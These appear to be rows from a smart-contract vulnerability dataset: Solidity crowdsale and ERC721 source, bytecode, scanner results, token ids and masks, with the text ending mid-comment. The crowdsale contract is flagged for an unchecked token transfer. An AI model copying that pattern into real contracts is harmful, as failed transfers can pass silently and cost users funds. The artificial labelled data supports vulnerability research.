wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } /** * @title CrowdsaleRDC0 * @dev Crowdsale-0 */ contract CrowdsaleRDC0 is TimedCrowdsale, Ownable { function CrowdsaleRDC0(ERC20 _token, uint256 _startTime, uint256 _finishTime, uint _rate, address _wallet ) TimedCrowdsale(_startTime, _finishTime) Crowdsale( _rate, _wallet, _token ) public payable { } function _forwardFunds() internal { wallet.transfer(msg.value); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function changeWallet( address _wallet ) onlyOwner public { require( _wallet != address(0)); wallet = _wallet; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631515bc2b146100ba5780632c4e722e146100e75780634042b66f146101105780634b6753bc14610139578063521eb273146101625780638da5cb5b146101b757806398b9a2dc1461020c578063b7a8807c14610245578063ec8ac4d81461026e578063f2fde38b1461029c578063fc0c546a146102d5575b6100b83361032a565b005b34156100c557600080fd5b6100cd6103f8565b604051808215151515815260200191505060405180910390f35b34156100f257600080fd5b6100fa610404565b6040518082815260200191505060405180910390f35b341561011b57600080fd5b61012361040a565b6040518082815260200191505060405180910390f35b341561014457600080fd5b61014c610410565b6040518082815260200191505060405180910390f35b341561016d57600080fd5b610175610416565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c257600080fd5b6101ca61043c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021757600080fd5b610243600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610462565b005b341561025057600080fd5b61025861053e565b6040518082815260200191505060405180910390f35b61029a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061032a565b005b34156102a757600080fd5b6102d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610544565b005b34156102e057600080fd5b6102e861069c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061033a83836106c1565b610343826106ee565b905061035a8260035461070c90919063ffffffff16565b60038190555061036a838261072a565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36103e18383610809565b6103e961080d565b6103f38383610871565b505050565b60006005544211905090565b60025481565b60035481565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156104fa57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105dc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045442101580156106d557506005544211155b15156106e057600080fd5b6106ea8282610875565b5050565b6000610705600254836108a290919063ffffffff16565b9050919050565b600080828401905083811015151561072057fe5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156107ed57600080fd5b5af115156107fa57600080fd5b50505060405180519050505050565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561086f57600080fd5b565b5050565b600454421015801561088957506005544211155b151561089457600080fd5b61089e82826108dd565b5050565b60008060008414156108b757600091506108d6565b82840290508284828115156108c857fe5b041415156108d257fe5b8091505b5092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561091957600080fd5b6000811415151561092957600080fd5b50505600a165627a7a723058209e1767f58b5b3facc5044028928c540bdefc0f9ca21f80f62d1ca0d85c62e3ca0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 12521, 20842, 2581, 2620, 14526, 11057, 2575, 2278, 11387, 11057, 2683, 2683, 21926, 2094, 16068, 2692, 2683, 2683, 11329, 2581, 2278, 2575, 24594, 22907, 17914, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,619
0x9713709d8d544871107860b522c525f4a70011c4
/* DEAR MSG.SENDER(S): / LexART is a project in beta. // Please audit and use at your own risk. /// There is also a DAO to join if you're curious. //// This is code, don't construed this as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ~presented by Mol LeArt */ pragma solidity ^0.5.17; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts\ownership\Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe 